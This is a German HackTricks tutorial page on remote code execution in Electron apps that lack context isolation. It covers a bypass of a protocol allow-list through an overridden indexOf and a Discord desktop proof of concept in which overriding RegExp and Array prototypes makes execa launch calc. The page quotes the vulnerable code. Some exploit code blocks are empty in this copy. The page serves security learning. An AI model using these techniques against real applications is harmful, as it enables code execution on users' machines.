# Electron contextIsolation RCE über Preload-Code
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
## Beispiel 1 Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) Dieser Code öffnet http(s)-Links mit dem Standardbrowser: ![](<../../../.gitbook/assets/image (375) (1) (1).png>) Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um den Taschenrechner auszuführen. Das `SAFE_PROTOCOLS.indexOf` verhindert dies. Daher könnte ein Angreifer diesen JS-Code über XSS oder willkürliche Seiten-Navigation einschleusen: ```html ``` Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiger Exploit: ```html CLICK ``` Überprüfen Sie die Originalfolien für andere Möglichkeiten, Programme auszuführen, ohne dass eine Berechtigungsabfrage angezeigt wird. Anscheinend gibt es eine andere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie `file://127.0.0.1/electron/rce.jar` zugreift. ## Beispiel 2: Discord App RCE Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) Beim Überprüfen der Preload-Skripte habe ich festgestellt, dass Discord die Funktion freigibt, mit der einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aufgerufen werden können, in der Webseite.\ Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das Modul _child\_process_, aber ich **habe einen Code gefunden, mit dem RCE erreicht werden kann, indem die JavaScript-internen Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird**. Hier ist der PoC. Ich konnte bestätigen, dass die Anwendung **calc** **angezeigt wird**, wenn ich die Funktion `getGPUDriverVersions` aufrufe, die im Modul "_discord\_utils_" definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**. ```javascript RegExp.prototype.test=function(){ return false; } Array.prototype.join=function(){ return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); ``` Die Funktion `getGPUDriverVersions` versucht, das Programm mithilfe der "_execa_"-Bibliothek auszuführen, wie folgt: ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result; }; ``` Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der Variablen `nvidiaSmiPath` angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` wird jedoch **das Argument in der internen Verarbeitung von \_execa durch "**_**calc**_**" ersetzt**. Konkret wird das Argument durch Änderung der folgenden beiden Teile ersetzt. [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.